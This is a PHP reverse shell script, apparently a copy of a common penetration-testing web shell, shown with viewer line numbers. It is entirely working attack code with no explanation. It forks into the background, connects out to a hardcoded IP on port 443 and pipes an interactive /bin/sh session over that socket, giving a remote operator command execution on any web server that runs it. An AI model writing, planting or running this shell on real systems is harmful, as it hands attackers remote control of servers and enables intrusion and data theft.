1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
   | <?php
 
  set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.233.130';   $port = 443;   $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0;
 
 
 
 
  if (function_exists('pcntl_fork')) {
  $pid = pcntl_fork(); if ($pid == -1) {     printit("ERROR: Can't fork");     exit(1); } if ($pid) {     exit(0);   }
 
  if (posix_setsid() == -1) {     printit("Error: Can't setsid()");     exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise.  This is quite common and not fatal."); }
  chdir("/");
  umask(0);
 
 
 
  $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); }
  $descriptorspec = array( 0 => array("pipe", "r"),   1 => array("pipe", "w"),   2 => array("pipe", "w")    ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); }
 
  stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) {
  if (feof($sock)) {     printit("ERROR: Shell connection terminated");     break; }
 
  if (feof($pipes[1])) {     printit("ERROR: Shell process terminated");     break; }
 
  $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
 
  if (in_array($sock, $read_a)) {     if ($debug) printit("SOCK READ");     $input = fread($sock, $chunk_size);     if ($debug) printit("SOCK: $input");     fwrite($pipes[0], $input);}
 
  if (in_array($pipes[1], $read_a)) {     if ($debug) printit("STDOUT READ");     $input = fread($pipes[1], $chunk_size);     if ($debug) printit("STDOUT: $input");     fwrite($sock, $input);}
 
  if (in_array($pipes[2], $read_a)) {     if ($debug) printit("STDERR READ");     $input = fread($pipes[2], $chunk_size);     if ($debug) printit("STDERR: $input");     fwrite($sock, $input);} } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process);
 
  function printit ($string) { if (!$daemon) {     print "$string";} } ?> 
 
  |